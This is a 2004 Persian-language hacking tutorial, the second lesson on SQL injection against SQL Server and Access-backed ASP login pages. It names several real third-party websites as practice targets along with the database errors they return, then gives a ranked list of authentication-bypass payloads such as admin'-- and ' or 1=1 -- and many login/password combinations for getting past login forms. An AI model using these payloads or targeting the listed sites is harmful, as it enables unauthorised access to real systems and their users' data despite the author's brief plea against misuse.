SQL Injection (Lesson 2)
(Using SQL Server)

خوب دوستان قبل از هر چیز سعی می کنم هر جلسه چند مثال عملی از درس جلسه قبل بزنم.

فقط خواهش می کنم حالا که قراره با مثال جلو بریم به هیچ عنوان از اطلاعات سایتهای هدف سو ء استفاده نکنید و یجوری باشه که منم تحت فشار نباشم و این مثالها ادامه داشته باشه.

مثالهایی از درس ۱:

http://www.motocar.co.il/motobike/news/news.asp?id='

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

http://www.lk.iwmi.org/ehdb/EFM/Moderator/loginPage.asp

- Login: '
- Pass: '

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

http://iranweb.biz/member_login.asp

- Login: '
- Pass: Password

Microsoft JET Database Engine error '80040e14'

خوب اما این جلسه می خواهیم فقط روی Login Page ها تمرکز کنیم.
ما به یه Login Page برخورد کردیم و هدف تنها عبور از این Login Page است اونم تو کمترین زمان ممکن.
فرض می کنیم با استفاده از مطالب جلسه قبل Error مورد نظر رو در یک Login Page مشاهده کردیم.
با استفاده از ترکیبی از پارامترهای ویژه و جایگزاری آن در Login و یا Password و یا هردو و روش سعی و خطا به راحتی با دور زدن Login Page به صفحات مورد نظر می رسیم.اما اون پارامترهای ویژه ترکیبی چی هست؟
به ترتیب اهمیت و اولویت شامل:

```
' or ' '='
' or 'a'='a
'or'a'='a
admin'--
admin' or 1=1 --
' or 1=1
' or 0=0 --
admin" or "a"="a
admin" or 1=1 --
admin' or 'a'='a
```

admin') or ('a'='a
or 0=0 --
' or 0=0 #
hi' or 1=1 --
hi" or 1=1 --
hi" or "a"="a
") or ("a"="a
') or ('a'='a
" or "a"="a
hi") or ("a"="a
hi') or ('a'='a
" or 0=0 #
" or 1=1--
') or ('x'='x

تمامی این پارامترهای ترکیبی کاملا تجربی و نسبی است و بسته به اینکه شما با کدام یک از پارامترهای ویژه به Error مورد نظر رسیده اید
می تواند تغییر کند.به این نکته توجه کنید که گاهی این پارامترهای ترکیبی باید به تنها در Login یا Password به کار رود و گاهی با هم.

چند مثال:

- Login: admin'--

- pass: admin'--

- Login: 'admin

- pass: DUMMYPASSWORD' OR 1 = 1 --

- Login: User

- pass: admin'--

- Login: admin'--

- pass: Password

- Login: ' or ' '='
- pass: ' or ' '='

- Login: admin' or 1=1 --
- pass: admin' or 1=1 --

- Login: hi' or 1=1 --
- pass: hi' or 1=1 --

- Login: admin

- pass: ' or ' '='

- Login: ali

- pass: ' or ' '='

- Login: ' or ' '='

- pass: password

با استفاده از این روش می توان تا ۴۰% Login Page هایی که مشکل injection دارند رو دور زد.

اگه با دو Error زیر برخورد کردید حتما روش بالا رو امتحان کنید.

ODBC Microsoft Access Driver

Microsoft JET Database Engine error '80040e14'

درس ۲ هم مثل درس ۱ ساده به نظر می یاد ولی واقعا کاربردی و مهم.در ابتدای درس ۳ حتما مثالهای عملی از مطالب درس ۲رو مرور می کنیم.

Author: Mouse@Shabgard.org

Copyright © 2004 Shabgard.org. All rights reserved.
http://isun.Shabgard.org